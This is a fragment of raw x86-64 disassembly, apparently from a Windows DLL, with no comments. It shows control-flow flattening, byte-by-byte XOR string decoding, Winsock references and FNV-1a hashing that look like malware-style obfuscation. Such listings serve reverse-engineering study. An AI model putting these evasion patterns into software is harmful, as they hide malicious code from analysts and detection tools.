mov ebx, 0x132ec055
jmp 0x180065d80
mov ecx, dword [rbp + 0x150]
xor ecx, dword [rbp + 0x138]
mov rdx, qword [rbp + 0x148]
mov byte [rdx], cl
mov rcx, qword [rbp + 0x148]
mov dword [rbp + 0x150], 0x22
mov edx, 0xe27ab881
nop word cs:[rax + rax]
nop
cmp edx, 0x132ec055
je 0x180065eea
cmp edx, 0xe27ab881
jne 0x180065e10
mov edx, 0x8831881a
nop dword [rax]
cmp edx, 0xebb820c6
je 0x180065e4e
cmp edx, 0x8831881a
jne 0x180065e30
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180065e30
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0x30
movsx edx, dl
mov dword [rbp + 0x138], edx
mov edx, 0x132ec055
jmp 0x180065e10
mov ebx, dword [rbp + 0x150]
xor ebx, dword [rbp + 0x138]
mov byte [rdx + 2], bl
mov dword [rbp + 0x150], WSAStartup
mov ebx, 0xe27ab881
nop dword [rax + rax]
cmp ebx, 0x132ec055
je 0x180065f6a
cmp ebx, 0xe27ab881
jne 0x180065e90
mov ebx, 0x8831881a
nop dword [rax]
cmp ebx, 0xebb820c6
je 0x180065ece
cmp ebx, 0x8831881a
jne 0x180065eb0
mov qword [rbp + 0x168], rax
mov ebx, 0xebb820c6
jmp 0x180065eb0
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
add bl, 0x21
movsx ebx, bl
mov dword [rbp + 0x138], ebx
mov ebx, 0x132ec055
jmp 0x180065e90
mov edx, dword [rbp + 0x150]
xor edx, dword [rbp + 0x138]
mov byte [rcx + 1], dl
mov dword [rbp + 0x150], 0x25
mov edx, 0xe27ab881
nop dword [rax + rax]
cmp edx, 0x132ec055
je 0x180065fea
cmp edx, 0xe27ab881
jne 0x180065f10
mov edx, 0x8831881a
nop dword [rax]
cmp edx, 0xebb820c6
je 0x180065f4e
cmp edx, 0x8831881a
jne 0x180065f30
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180065f30
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0x31
movsx edx, dl
mov dword [rbp + 0x138], edx
mov edx, 0x132ec055
jmp 0x180065f10
mov ebx, dword [rbp + 0x150]
xor ebx, dword [rbp + 0x138]
mov byte [rdx + 3], bl
mov dword [rbp + 0x150], 0x74
mov ebx, 0xe27ab881
nop dword [rax + rax]
cmp ebx, 0x132ec055
je 0x18006606a
cmp ebx, 0xe27ab881
jne 0x180065f90
mov ebx, 0x8831881a
nop dword [rax]
cmp ebx, 0xebb820c6
je 0x180065fce
cmp ebx, 0x8831881a
jne 0x180065fb0
mov qword [rbp + 0x168], rax
mov ebx, 0xebb820c6
jmp 0x180065fb0
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
add bl, 0x22
movsx ebx, bl
mov dword [rbp + 0x138], ebx
mov ebx, 0x132ec055
jmp 0x180065f90
mov edx, dword [rbp + 0x150]
xor edx, dword [rbp + 0x138]
mov byte [rcx + 2], dl
mov dword [rbp + 0x150], reloc.WS2_32.dll_WSAStartup
mov edx, 0xe27ab881
nop dword [rax + rax]
cmp edx, 0x132ec055
je 0x1800660ea
cmp edx, 0xe27ab881
jne 0x180066010
mov edx, 0x8831881a
nop dword [rax]
cmp edx, 0xebb820c6
je 0x18006604e
cmp edx, 0x8831881a
jne 0x180066030
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180066030
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0x32
movsx edx, dl
mov dword [rbp + 0x138], edx
mov edx, 0x132ec055
jmp 0x180066010
mov ebx, dword [rbp + 0x150]
xor ebx, dword [rbp + 0x138]
mov byte [rdx + 4], bl
mov dword [rbp + 0x150], WSAStartup
mov ebx, 0xe27ab881
nop dword [rax + rax]
cmp ebx, 0x132ec055
je 0x18006616a
cmp ebx, 0xe27ab881
jne 0x180066090
mov ebx, 0x8831881a
nop dword [rax]
cmp ebx, 0xebb820c6
je 0x1800660ce
cmp ebx, 0x8831881a
jne 0x1800660b0
mov qword [rbp + 0x168], rax
mov ebx, 0xebb820c6
jmp 0x1800660b0
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
add bl, 0x23
movsx ebx, bl
mov dword [rbp + 0x138], ebx
mov ebx, 0x132ec055
jmp 0x180066090
mov edx, dword [rbp + 0x150]
xor edx, dword [rbp + 0x138]
mov byte [rcx + 3], dl
mov dword [rbp + 0x150], 0x22
mov edx, 0xe27ab881
nop dword [rax + rax]
cmp edx, 0x132ec055
je 0x1800661ea
cmp edx, 0xe27ab881
jne 0x180066110
mov edx, 0x8831881a
nop dword [rax]
cmp edx, 0xebb820c6
je 0x18006614e
cmp edx, 0x8831881a
jne 0x180066130
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180066130
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0x33
movsx edx, dl
mov dword [rbp + 0x138], edx
mov edx, 0x132ec055
jmp 0x180066110
mov ebx, dword [rbp + 0x150]
xor ebx, dword [rbp + 0x138]
mov byte [rdx + 5], bl
mov dword [rbp + 0x150], 0x20
mov ebx, 0xe27ab881
nop dword [rax + rax]
cmp ebx, 0x132ec055
je 0x18006626a
cmp ebx, 0xe27ab881
jne 0x180066190
mov ebx, 0x8831881a
nop dword [rax]
cmp ebx, 0xebb820c6
je 0x1800661ce
cmp ebx, 0x8831881a
jne 0x1800661b0
mov qword [rbp + 0x168], rax
mov ebx, 0xebb820c6
jmp 0x1800661b0
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
add bl, 0x24
movsx ebx, bl
mov dword [rbp + 0x138], ebx
mov ebx, 0x132ec055
jmp 0x180066190
mov edx, dword [rbp + 0x150]
xor edx, dword [rbp + 0x138]
mov byte [rcx + 4], dl
mov dword [rbp + 0x150], 0xd
mov edx, 0xe27ab881
nop dword [rax + rax]
cmp edx, 0x132ec055
je 0x1800662ea
cmp edx, 0xe27ab881
jne 0x180066210
mov edx, 0x8831881a
nop dword [rax]
cmp edx, 0xebb820c6
je 0x18006624e
cmp edx, 0x8831881a
jne 0x180066230
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180066230
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0x34
movsx edx, dl
mov dword [rbp + 0x138], edx
mov edx, 0x132ec055
jmp 0x180066210
mov ebx, dword [rbp + 0x150]
xor ebx, dword [rbp + 0x138]
mov byte [rdx + 6], bl
mov dword [rbp + 0x150], 0x4c
mov ebx, 0xe27ab881
nop dword [rax + rax]
cmp ebx, 0x132ec055
je 0x18006636a
cmp ebx, 0xe27ab881
jne 0x180066290
mov ebx, 0x8831881a
nop dword [rax]
cmp ebx, 0xebb820c6
je 0x1800662ce
cmp ebx, 0x8831881a
jne 0x1800662b0
mov qword [rbp + 0x168], rax
mov ebx, 0xebb820c6
jmp 0x1800662b0
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
add bl, 0x25
movsx ebx, bl
mov dword [rbp + 0x138], ebx
mov ebx, 0x132ec055
jmp 0x180066290
mov edx, dword [rbp + 0x150]
xor edx, dword [rbp + 0x138]
mov byte [rcx + 5], dl
mov dword [rbp + 0x150], 0xa
mov edx, 0xe27ab881
nop dword [rax + rax]
cmp edx, 0x132ec055
je 0x1800663ea
cmp edx, 0xe27ab881
jne 0x180066310
mov edx, 0x8831881a
nop dword [rax]
cmp edx, 0xebb820c6
je 0x18006634e
cmp edx, 0x8831881a
jne 0x180066330
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180066330
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0x35
movsx edx, dl
mov dword [rbp + 0x138], edx
mov edx, 0x132ec055
jmp 0x180066310
mov ebx, dword [rbp + 0x150]
xor ebx, dword [rbp + 0x138]
mov byte [rdx + 7], bl
mov dword [rbp + 0x150], 0x31
mov ebx, 0xe27ab881
nop dword [rax + rax]
cmp ebx, 0x132ec055
je 0x180066419
cmp ebx, 0xe27ab881
jne 0x180066390
mov ebx, 0x8831881a
nop dword [rax]
cmp ebx, 0xebb820c6
je 0x1800663ce
cmp ebx, 0x8831881a
jne 0x1800663b0
mov qword [rbp + 0x168], rax
mov ebx, 0xebb820c6
jmp 0x1800663b0
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
add bl, 0x26
movsx ebx, bl
mov dword [rbp + 0x138], ebx
mov ebx, 0x132ec055
jmp 0x180066390
mov edx, dword [rbp + 0x150]
xor edx, dword [rbp + 0x138]
mov byte [rcx + 6], dl
add rcx, 7
mov rdx, qword [rbp + 0x120]
add rdx, 0x38
mov qword [rbp + 0x140], rdx
mov edx, 0x49ea4ba8
jmp 0x180065c00
mov ebx, dword [rbp + 0x150]
xor ebx, dword [rbp + 0x138]
mov byte [rdx + 8], bl
mov dword [rbp + 0x150], 0xd
mov ebx, 0xe27ab881
nop word [rax + rax]
cmp ebx, 0x132ec055
je 0x18006649a
cmp ebx, 0xe27ab881
jne 0x180066440
mov ebx, 0x8831881a
nop word cs:[rax + rax]
nop
cmp ebx, 0xebb820c6
je 0x18006647e
cmp ebx, 0x8831881a
jne 0x180066460
mov qword [rbp + 0x168], rax
mov ebx, 0xebb820c6
jmp 0x180066460
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
add bl, 0x27
movsx ebx, bl
mov dword [rbp + 0x138], ebx
mov ebx, 0x132ec055
jmp 0x180066440
mov ebx, dword [rbp + 0x150]
xor ebx, dword [rbp + 0x138]
mov byte [rdx + 9], bl
mov dword [rbp + 0x150], 0xa
mov ebx, 0xe27ab881
nop dword [rax + rax]
cmp ebx, 0x132ec055
je 0x18006651a
cmp ebx, 0xe27ab881
jne 0x1800664c0
mov ebx, 0x8831881a
nop word cs:[rax + rax]
nop
cmp ebx, 0xebb820c6
je 0x1800664fe
cmp ebx, 0x8831881a
jne 0x1800664e0
mov qword [rbp + 0x168], rax
mov ebx, 0xebb820c6
jmp 0x1800664e0
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
add bl, 0x28
movsx ebx, bl
mov dword [rbp + 0x138], ebx
mov ebx, 0x132ec055
jmp 0x1800664c0
mov ebx, dword [rbp + 0x150]
xor ebx, dword [rbp + 0x138]
mov byte [rdx + 0xa], bl
mov dword [rbp + 0x150], 0x64
mov ebx, 0xe27ab881
nop dword [rax + rax]
cmp ebx, 0x132ec055
je 0x18006659a
cmp ebx, 0xe27ab881
jne 0x180066540
mov ebx, 0x8831881a
nop word cs:[rax + rax]
nop
cmp ebx, 0xebb820c6
je 0x18006657e
cmp ebx, 0x8831881a
jne 0x180066560
mov qword [rbp + 0x168], rax
mov ebx, 0xebb820c6
jmp 0x180066560
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
add bl, 0x29
movsx ebx, bl
mov dword [rbp + 0x138], ebx
mov ebx, 0x132ec055
jmp 0x180066540
mov ebx, dword [rbp + 0x150]
xor ebx, dword [rbp + 0x138]
mov byte [rdx + 0xb], bl
mov dword [rbp + 0x150], 0x65
mov ebx, 0xe27ab881
nop dword [rax + rax]
cmp ebx, 0x132ec055
je 0x18006661a
cmp ebx, 0xe27ab881
jne 0x1800665c0
mov ebx, 0x8831881a
nop word cs:[rax + rax]
nop
cmp ebx, 0xebb820c6
je 0x1800665fe
cmp ebx, 0x8831881a
jne 0x1800665e0
mov qword [rbp + 0x168], rax
mov ebx, 0xebb820c6
jmp 0x1800665e0
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
add bl, 0x2a
movsx ebx, bl
mov dword [rbp + 0x138], ebx
mov ebx, 0x132ec055
jmp 0x1800665c0
mov ebx, dword [rbp + 0x150]
xor ebx, dword [rbp + 0x138]
mov byte [rdx + 0xc], bl
mov dword [rbp + 0x150], WSAStartup
mov ebx, 0xe27ab881
nop dword [rax + rax]
cmp ebx, 0x132ec055
je 0x18006669a
cmp ebx, 0xe27ab881
jne 0x180066640
mov ebx, 0x8831881a
nop word cs:[rax + rax]
nop
cmp ebx, 0xebb820c6
je 0x18006667e
cmp ebx, 0x8831881a
jne 0x180066660
mov qword [rbp + 0x168], rax
mov ebx, 0xebb820c6
jmp 0x180066660
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
add bl, 0x2b
movsx ebx, bl
mov dword [rbp + 0x138], ebx
mov ebx, 0x132ec055
jmp 0x180066640
mov ebx, dword [rbp + 0x150]
xor ebx, dword [rbp + 0x138]
mov byte [rdx + 0xd], bl
mov dword [rbp + 0x150], 0x20
mov ebx, 0xe27ab881
nop dword [rax + rax]
cmp ebx, 0x132ec055
je 0x18006671a
cmp ebx, 0xe27ab881
jne 0x1800666c0
mov ebx, 0x8831881a
nop word cs:[rax + rax]
nop
cmp ebx, 0xebb820c6
je 0x1800666fe
cmp ebx, 0x8831881a
jne 0x1800666e0
mov qword [rbp + 0x168], rax
mov ebx, 0xebb820c6
jmp 0x1800666e0
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
add bl, 0x2c
movsx ebx, bl
mov dword [rbp + 0x138], ebx
mov ebx, 0x132ec055
jmp 0x1800666c0
mov ebx, dword [rbp + 0x150]
xor ebx, dword [rbp + 0x138]
mov byte [rdx + 0xe], bl
mov dword [rbp + 0x150], 0x2f
mov ebx, 0xe27ab881
nop dword [rax + rax]
cmp ebx, 0x132ec055
je 0x18006679a
cmp ebx, 0xe27ab881
jne 0x180066740
mov ebx, 0x8831881a
nop word cs:[rax + rax]
nop
cmp ebx, 0xebb820c6
je 0x18006677e
cmp ebx, 0x8831881a
jne 0x180066760
mov qword [rbp + 0x168], rax
mov ebx, 0xebb820c6
jmp 0x180066760
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
add bl, 0x2d
movsx ebx, bl
mov dword [rbp + 0x138], ebx
mov ebx, 0x132ec055
jmp 0x180066740
mov ebx, dword [rbp + 0x150]
xor ebx, dword [rbp + 0x138]
mov byte [rdx + 0xf], bl
mov dword [rbp + 0x150], 0x46
mov ebx, 0xe27ab881
nop dword [rax + rax]
cmp ebx, 0x132ec055
je 0x18006681a
cmp ebx, 0xe27ab881
jne 0x1800667c0
mov ebx, 0x8831881a
nop word cs:[rax + rax]
nop
cmp ebx, 0xebb820c6
je 0x1800667fe
cmp ebx, 0x8831881a
jne 0x1800667e0
mov qword [rbp + 0x168], rax
mov ebx, 0xebb820c6
jmp 0x1800667e0
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
add bl, 0x2e
movsx ebx, bl
mov dword [rbp + 0x138], ebx
mov ebx, 0x132ec055
jmp 0x1800667c0
mov ebx, dword [rbp + 0x150]
xor ebx, dword [rbp + 0x138]
mov byte [rdx + 0x10], bl
add rdx, 0x11
mov qword [rbp + 0x148], rdx
mov byte [rbp + 0x15c], 0x20
mov edx, 0xf3850230
jmp 0x180065c00
mov ecx, 0x3ed6789e
jmp 0x180060a65
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0x120], rax
mov rcx, qword [rbp + 0x120]
mov byte [rcx], 0x3e
mov rcx, qword [rbp + 0x120]
add rcx, 1
mov qword [rbp + 0x128], rcx
movsx rcx, byte [rax]
mov edx, 0x342d9d70
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xb4f786a4
je 0x180067a62
cmp edx, 0x342d9d70
jne 0x180066890
mov qword [rbp + 0x168], rcx
mov edx, 0xb4f786a4
jmp 0x180066890
mov rdi, qword [rbp + 0xe0]
mov edx, 0x2d62a64
jmp 0x1800668d0
mov edx, 0x40b69de8
mov rcx, qword [rbp + 0x140]
nop dword [rax]
cmp edx, 0x3a64d06e
jg 0x180066970
cmp edx, 0xfe1c46bd
jg 0x1800669b0
cmp edx, 0x85fff9eb
je 0x180066a04
cmp edx, 0xa1b7b643
jne 0x180066a82
mov al, byte [rbp + 0x15c]
mov ebx, 0x9251898a
nop dword [rax + rax]
cmp ebx, 0xb2cec62c
je 0x180066a15
cmp ebx, 0x9251898a
jne 0x180066910
mov ebx, 0xe0105063
nop dword [rax]
cmp ebx, 0xd290f35a
je 0x180066951
cmp ebx, 0xe0105063
jne 0x180066930
mov dword [rbp + 0x138], 1
mov ebx, 0xd290f35a
jmp 0x180066930
mov ebx, dword [rbp + 0x138]
mov edx, eax
sub dl, bl
mov byte [rbp + 0x150], dl
mov ebx, 0xb2cec62c
jmp 0x180066910
cmp edx, 0x45448ab4
jg 0x1800669e0
cmp edx, 0x3a64d06f
je 0x180066a40
cmp edx, 0x40b69de8
jne 0x1800668d0
mov qword [rbp + 0x168], rcx
mov rdx, qword [rbp + 0x168]
cmp rdx, 0xd
mov edx, 0x85fff9eb
cmovb edx, esi
jmp 0x1800668d0
cmp edx, 0xfe1c46be
je 0x180066a58
cmp edx, 0x2d62a64
jne 0x1800668d0
mov edx, 0x7056c31b
jmp 0x1800668d0
cmp edx, 0x45448ab5
je 0x1800668c0
cmp edx, 0x7056c31b
jne 0x1800668d0
mov edx, 0x40b69de8
xor ecx, ecx
jmp 0x1800668d0
mov qword [rbp + 0x120], rdi
mov edx, 0x3a64d06f
jmp 0x1800668d0
mov al, byte [rbp + 0x150]
mov rdx, qword [rbp + 0x148]
mov byte [rdx], al
mov rax, qword [rbp + 0x168]
add rax, 1
mov qword [rbp + 0x140], rax
mov edx, 0x45448ab5
jmp 0x1800668d0
mov rdx, qword [rbp + 0x120]
mov qword [rbp + 0x128], rdx
mov edx, 0x94f3147d
jmp 0x1800668d0
mov rdx, qword [rbp + 0x168]
add rdx, rdi
mov qword [rbp + 0x148], rdx
mov rdx, qword [rbp + 0x148]
mov dl, byte [rdx]
mov byte [rbp + 0x15c], dl
mov edx, 0xa1b7b643
jmp 0x1800668d0
cmp edx, 0x94f3147d
jne 0x1800668d0
mov r8, qword [rbp + 0x128]
mov ebx, 0x9304b30f
jmp 0x180066ac0
movsxd rdi, ecx
xor rdi, qword [rbp + 0x168]
imul rdi, r10
mov esi, dword [rbp + 0x128]
add esi, 1
mov ebx, 0xc46bd60d
nop dword [rax + rax]
cmp ebx, 0xec989664
jle 0x180066b20
cmp ebx, 0xde9741a
jle 0x180066b70
cmp ebx, 0x4040a63f
jg 0x180066bf9
cmp ebx, 0xde9741b
je 0x180066cc2
cmp ebx, 0x23777f42
je 0x180066cd9
cmp ebx, 0x34fd6d6d
jne 0x180066ac0
cmp byte [rbp + 0x118], 0
mov ebx, 0xa8588bcc
cmovne ebx, r13d
jmp 0x180066ac0
cmp ebx, 0xb3b07733
jle 0x180066bb0
cmp ebx, 0xc86312b3
jle 0x180066c2d
cmp ebx, 0xc86312b4
je 0x180066a9c
cmp ebx, 0xcaf004ba
je 0x180066ce3
cmp ebx, 0xdf0d33c4
jne 0x180066ac0
mov ebx, 0xc46bd60d
xor esi, esi
mov rdi, r9
jmp 0x180066ac0
cmp ebx, 0xfa416f8f
jle 0x180066c6e
cmp ebx, 0xfa416f90
je 0x180066d11
cmp ebx, 0x45d558a
je 0x180066d21
cmp ebx, 0xc942d64
jne 0x180066ac0
mov ebx, 0xcaf004ba
xor edx, edx
jmp 0x180066ac0
cmp ebx, 0xa8588bcb
jle 0x180066ca0
cmp ebx, 0xa8588bcc
je 0x180066d3b
cmp ebx, 0xa94a57ae
je 0x180066d4b
cmp ebx, 0xb18d2356
jne 0x180066ac0
mov eax, dword [rbp + 0x150]
or eax, 0x20
mov dword [rbp + 0x138], eax
mov ebx, 0xfa416f90
jmp 0x180066ac0
cmp ebx, 0x4040a640
je 0x180066d55
cmp ebx, 0x494b1080
je 0x180066d5f
cmp ebx, 0x6238ad6b
jne 0x180066ac0
mov ebx, 0xcaf004ba
mov edx, dword [rbp + 0x15c]
jmp 0x180066ac0
cmp ebx, 0xb3b07734
je 0x180066d74
cmp ebx, 0xc46bd60d
jne 0x180066dcf
mov dword [rbp + 0x128], esi
mov qword [rbp + 0x168], rdi
mov ebx, dword [rbp + 0x120]
mov eax, dword [rbp + 0x128]
cmp eax, ebx
mov ebx, 0xc5d9b945
cmovb ebx, r12d
jmp 0x180066ac0
cmp ebx, 0xec989665
je 0x180066d9b
cmp ebx, 0xed3b0916
jne 0x180066ac0
mov eax, dword [rbp + 0x150]
cmp eax, 0x5b
setl byte [rbp + 0x118]
mov ebx, 0x34fd6d6d
jmp 0x180066ac0
cmp ebx, 0x8051c795
je 0x180066db4
cmp ebx, 0x9304b30f
jne 0x180066ac0
mov ebx, 0xc942d64
jmp 0x180066ac0
mov eax, dword [rbp + 0x128]
mov qword [rbp + 0x148], rax
mov ebx, 0x8051c795
jmp 0x180066ac0
mov ebx, 0xdf0d33c4
jmp 0x180066ac0
mov dword [rbp + 0x120], edx
mov ebx, dword [rbp + 0x120]
movsx ebx, byte [r8 + rbx]
mov dword [rbp + 0x11c], ebx
mov ebx, dword [rbp + 0x11c]
cmp ebx, 0x1f
mov ebx, 0xa94a57ae
cmovg ebx, r15d
jmp 0x180066ac0
mov ebx, 0xc86312b4
mov ecx, dword [rbp + 0x138]
jmp 0x180066ac0
mov ebx, dword [rbp + 0x11c]
cmp ebx, 0x7f
setl byte [rbp + 0x137]
mov ebx, 0x494b1080
jmp 0x180066ac0
mov ebx, 0xc86312b4
mov ecx, dword [rbp + 0x150]
jmp 0x180066ac0
mov ebx, 0x23777f42
jmp 0x180066ac0
mov ebx, 0x6238ad6b
jmp 0x180066ac0
cmp byte [rbp + 0x137], 0
mov ebx, 0xa94a57ae
cmovne ebx, r14d
jmp 0x180066ac0
mov rax, qword [rbp + 0x140]
movsx eax, byte [rax]
mov dword [rbp + 0x150], eax
mov eax, dword [rbp + 0x150]
cmp eax, 0x40
mov ebx, 0xa8588bcc
cmovg ebx, r11d
jmp 0x180066ac0
mov ebx, dword [rbp + 0x120]
add ebx, 1
mov dword [rbp + 0x15c], ebx
mov ebx, 0x4040a640
jmp 0x180066ac0
mov rax, qword [rbp + 0x148]
add rax, r8
mov qword [rbp + 0x140], rax
mov ebx, 0xb3b07734
jmp 0x180066ac0
cmp ebx, 0xc5d9b945
jne 0x180066ac0
mov rcx, qword [rbp + 0x168]
sub rsp, 0x20
call fcn.1800ae820
mov r11d, 0xed3b0916
movabs r10, 0x100000001b3
movabs r9, 0xcbf29ce484222325
add rsp, 0x20
mov qword [rbp - 0x68], rax
mov ecx, 0x8059eb15
jmp 0x180060a60
mov rax, qword [rbp - 0x20]
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0x150], rax
mov rcx, qword [rbp + 0x150]
mov byte [rcx], 0x6f
mov rcx, qword [rbp + 0x150]
add rcx, 1
mov qword [rbp + 0x138], rcx
mov edx, 0xff1e89e3
nop word [rax + rax]
cmp edx, 0xff1e89e2
jg 0x180066e90
cmp edx, 0xb602ac27
je 0x180067aa7
cmp edx, 0xbb779d4b
jne 0x180066e50
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0x148]
mov edx, 0xbb779d4b
mov ebx, 0xb602ac27
cmove edx, ebx
jmp 0x180066e50
cmp edx, 0x3fe0e256
je 0x180066f0f
cmp edx, 0xff1e89e3
jne 0x180066e50
mov edx, 0xe5b50898
nop word cs:[rax + rax]
nop
cmp edx, 0x9dd4bf63
je 0x180066f83
cmp edx, 0xe5b50898
jne 0x180066eb0
mov qword [rbp + 0x140], rax
mov edx, 0xfb4ea001
cmp edx, 0x1a3b7a01
je 0x180066ef5
cmp edx, 0xfb4ea001
jne 0x180066ed0
mov rdx, qword [rbp + 0x140]
mov qword [rbp + 0x168], rdx
mov edx, 0x1a3b7a01
jmp 0x180066ed0
mov rdx, qword [rbp + 0x168]
movsx edx, byte [rdx]
xor edx, 0x52
mov dword [rbp + 0x15c], edx
mov edx, 0x9dd4bf63
jmp 0x180066eb0
mov rcx, qword [rbp + 0x128]
mov cl, byte [rcx]
mov edx, 0xe5b50898
nop dword [rax]
cmp edx, 0x9dd4bf63
je 0x180067004
cmp edx, 0xe5b50898
jne 0x180066f20
mov qword [rbp + 0x140], rax
mov edx, 0xfb4ea001
cmp edx, 0x1a3b7a01
je 0x180066f65
cmp edx, 0xfb4ea001
jne 0x180066f40
mov rdx, qword [rbp + 0x140]
mov qword [rbp + 0x168], rdx
mov edx, 0x1a3b7a01
jmp 0x180066f40
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 5
xor dl, cl
movsx edx, dl
mov dword [rbp + 0x15c], edx
mov edx, 0x9dd4bf63
jmp 0x180066f20
mov edx, dword [rbp + 0x15c]
mov rbx, qword [rbp + 0x138]
mov byte [rbx], dl
mov rdx, qword [rbp + 0x138]
mov ebx, 0xe5b50898
nop
cmp ebx, 0x9dd4bf63
je 0x180067084
cmp ebx, 0xe5b50898
jne 0x180066fa0
mov qword [rbp + 0x140], rax
mov ebx, 0xfb4ea001
cmp ebx, 0x1a3b7a01
je 0x180066fe5
cmp ebx, 0xfb4ea001
jne 0x180066fc0
mov rbx, qword [rbp + 0x140]
mov qword [rbp + 0x168], rbx
mov ebx, 0x1a3b7a01
jmp 0x180066fc0
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
add bl, 1
xor bl, 0x65
movsx ebx, bl
mov dword [rbp + 0x15c], ebx
mov ebx, 0x9dd4bf63
jmp 0x180066fa0
mov ecx, dword [rbp + 0x15c]
mov rdx, qword [rbp + 0x120]
mov byte [rdx], cl
mov rcx, qword [rbp + 0x120]
mov edx, 0xe5b50898
nop
cmp edx, 0x9dd4bf63
je 0x180067104
cmp edx, 0xe5b50898
jne 0x180067020
mov qword [rbp + 0x140], rax
mov edx, 0xfb4ea001
cmp edx, 0x1a3b7a01
je 0x180067065
cmp edx, 0xfb4ea001
jne 0x180067040
mov rdx, qword [rbp + 0x140]
mov qword [rbp + 0x168], rdx
mov edx, 0x1a3b7a01
jmp 0x180067040
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 6
xor dl, 0x72
movsx edx, dl
mov dword [rbp + 0x15c], edx
mov edx, 0x9dd4bf63
jmp 0x180067020
mov ebx, dword [rbp + 0x15c]
mov byte [rdx + 1], bl
mov ebx, 0xe5b50898
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x9dd4bf63
je 0x180067184
cmp ebx, 0xe5b50898
jne 0x1800670a0
mov qword [rbp + 0x140], rax
mov ebx, 0xfb4ea001
cmp ebx, 0x1a3b7a01
je 0x1800670e5
cmp ebx, 0xfb4ea001
jne 0x1800670c0
mov rbx, qword [rbp + 0x140]
mov qword [rbp + 0x168], rbx
mov ebx, 0x1a3b7a01
jmp 0x1800670c0
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
add bl, 2
xor bl, 0x67
movsx ebx, bl
mov dword [rbp + 0x15c], ebx
mov ebx, 0x9dd4bf63
jmp 0x1800670a0
mov edx, dword [rbp + 0x15c]
mov byte [rcx + 1], dl
mov edx, 0xe5b50898
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x9dd4bf63
je 0x180067204
cmp edx, 0xe5b50898
jne 0x180067120
mov qword [rbp + 0x140], rax
mov edx, 0xfb4ea001
cmp edx, 0x1a3b7a01
je 0x180067165
cmp edx, 0xfb4ea001
jne 0x180067140
mov rdx, qword [rbp + 0x140]
mov qword [rbp + 0x168], rdx
mov edx, 0x1a3b7a01
jmp 0x180067140
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 7
xor dl, 0x79
movsx edx, dl
mov dword [rbp + 0x15c], edx
mov edx, 0x9dd4bf63
jmp 0x180067120
mov ebx, dword [rbp + 0x15c]
mov byte [rdx + 2], bl
mov ebx, 0xe5b50898
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x9dd4bf63
je 0x180067284
cmp ebx, 0xe5b50898
jne 0x1800671a0
mov qword [rbp + 0x140], rax
mov ebx, 0xfb4ea001
cmp ebx, 0x1a3b7a01
je 0x1800671e5
cmp ebx, 0xfb4ea001
jne 0x1800671c0
mov rbx, qword [rbp + 0x140]
mov qword [rbp + 0x168], rbx
mov ebx, 0x1a3b7a01
jmp 0x1800671c0
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
add bl, 3
xor bl, 0x51
movsx ebx, bl
mov dword [rbp + 0x15c], ebx
mov ebx, 0x9dd4bf63
jmp 0x1800671a0
mov edx, dword [rbp + 0x15c]
mov byte [rcx + 2], dl
mov edx, 0xe5b50898
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x9dd4bf63
je 0x180067304
cmp edx, 0xe5b50898
jne 0x180067220
mov qword [rbp + 0x140], rax
mov edx, 0xfb4ea001
cmp edx, 0x1a3b7a01
je 0x180067265
cmp edx, 0xfb4ea001
jne 0x180067240
mov rdx, qword [rbp + 0x140]
mov qword [rbp + 0x168], rdx
mov edx, 0x1a3b7a01
jmp 0x180067240
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 8
xor dl, 0x56
movsx edx, dl
mov dword [rbp + 0x15c], edx
mov edx, 0x9dd4bf63
jmp 0x180067220
mov ebx, dword [rbp + 0x15c]
mov byte [rdx + 3], bl
mov ebx, 0xe5b50898
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x9dd4bf63
je 0x180067384
cmp ebx, 0xe5b50898
jne 0x1800672a0
mov qword [rbp + 0x140], rax
mov ebx, 0xfb4ea001
cmp ebx, 0x1a3b7a01
je 0x1800672e5
cmp ebx, 0xfb4ea001
jne 0x1800672c0
mov rbx, qword [rbp + 0x140]
mov qword [rbp + 0x168], rbx
mov ebx, 0x1a3b7a01
jmp 0x1800672c0
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
add bl, 4
xor bl, 0x75
movsx ebx, bl
